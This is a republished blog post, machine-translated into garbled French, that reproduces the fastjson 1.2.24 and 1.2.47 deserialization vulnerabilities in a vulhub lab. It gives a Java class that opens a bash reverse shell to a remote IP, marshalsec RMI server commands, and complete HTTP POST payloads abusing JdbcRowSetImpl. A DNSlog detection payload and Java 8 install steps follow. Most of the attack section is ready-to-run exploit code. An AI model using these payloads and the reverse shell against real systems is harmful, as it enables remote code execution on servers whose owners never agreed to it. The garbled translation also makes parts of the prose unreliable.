当前位置:网站首页>Réplication de vulnérabilité - désrialisation fastjson

Réplication de vulnérabilité - désrialisation fastjson

2022-07-07 08:10:00 _ Bar _ S1mple

Table des matières

Description de la vulnérabilité

Replay of vulnerability

 Exploitation des vulnérabilités

fastjson 1.2.24

fastjson 1.2.47

Annexe

FastjsonDétection des vulnérabilités

Installationjava8


Description de la vulnérabilité

fastjsonOffreautotypeFonction,Dans le processus de demande,Nous pouvons modifier le paquet de demande [email protected] de,Pour désérialiser au type spécifié,EtfastjsonLes propriétés de la classe sont définies et acquises lors de la désrialisation,S'il y a des méthodes malveillantes dans la classe,Cela peut causer des problèmes comme l'exécution du Code.

Replay of vulnerability

L'environnement de vulnérabilité ici utilise principalementvulhubLes deux.fastjsonConstruction de vulnérabilités,Accès après la construction8090Le port apparaît comme suit

 Exploitation des vulnérabilités

Nous avons besoin devpsOuvrez unRMIAppel de serviceclassDocumentation,D'abord, nous créonstest.java Pour rebondir shell,Utilisez les commandesjavac test.javaCompilation Buildtest.class( Tout l'environnement expérimental est basé sur java8Sur la base de)

import java.lang.Runtime;
import java.lang.Process;

public class test {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/59.110.xx.xx/8002 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

AidemarshalsecProjet ouvertrmiServices,Écouter9999Port,Et faire charger la classe distantetest.class
Nous devons d'abord compiler la construction marshalsec-0.0.3-SNAPSHOT-all.jar

git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests

Commencez par unhttp Le service est facile à charger test.class

# python2
python2 -m SimpleHTTPServer
# python3 
python3 -m http.server

  Et ensuite nous allons commencer RMISurveillance du service9999Port

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://59.110.xx.xx:8000/#test" 9999

Le serveur local écoute le port dans le fichier

nc -nvlp xxxx

Toutes les opérations ci - dessus sont effectuées sur le même serveur

 

fastjson 1.2.24

POST / HTTP/1.1
Host: 139.196.xx.xx:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://59.110.xx.xx:9999/Test",
        "autoCommit":true
    }
}

fastjson 1.2.47

POST / HTTP/1.1
Host: 139.196.xx.xx:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://59.110.xx.xx:9999/test",
        "autoCommit":true
    }
}

Annexe

FastjsonDétection des vulnérabilités

DNS log

Inhttp://dnslog.cn/Générer un nom de domaine au hasard,Et ensuite construirepayload

{"@type":"java.net.InetAddress","val":"dsunaw.dnslog.cn"}

Oui.payload Envoyer dans le corps de la demande ,Sidnslog Un enregistrement existe fastjsonVulnérabilité

 

Installationjava8

Télécharger l'adresse:https://github.com/frekele/oracle-java/releases
Téléchargerjdk-8u221-linux-x64.tar.gz

OR

sudo apt-get install openjdk-8-jdk

Désinstaller

# Voir l'installationOpenJDKSac
dpkg --list | grep -i jdk
# DésinstallerOpenJDKPaquets connexes
apt-get purge openjdk-*
# Vérifiez tous les OpenJDK Si tous les paquets ont été désinstallés 
dpkg --list | grep -i jdk

Installation

# Placer le paquet compressé sur/opt/javaSous la table des matières
mv jdk-8u212-linux-x64.tar.gz /opt/java

# Décompresser
tar -zxvf jdk--8u212-linux-x64.tar.gz

# Configurer les variables d'environnement
Modifier/etc/profileDocumentation
vim /etc/profile
 Ajouter les informations suivantes à la fin du texte 
export JAVA_HOME=/opt/java/jdk1.8.0_212
export JRE_HOME=${JAVA_HOME}/jre  
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:${PATH}

# FairejavaEfficacité environnementale
source /etc/profile

# Voir si l'installation a réussi 
java -version

 RÉFÉRENCES:Fastjson Réplication de la vulnérabilité de désrialisation_Petit [email protected] de-CSDNBlogs_fastjsonRéplication de la vulnérabilité de désrialisation

原网站

版权声明
本文为[_ Bar _ S1mple]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/188/202207070507141540.html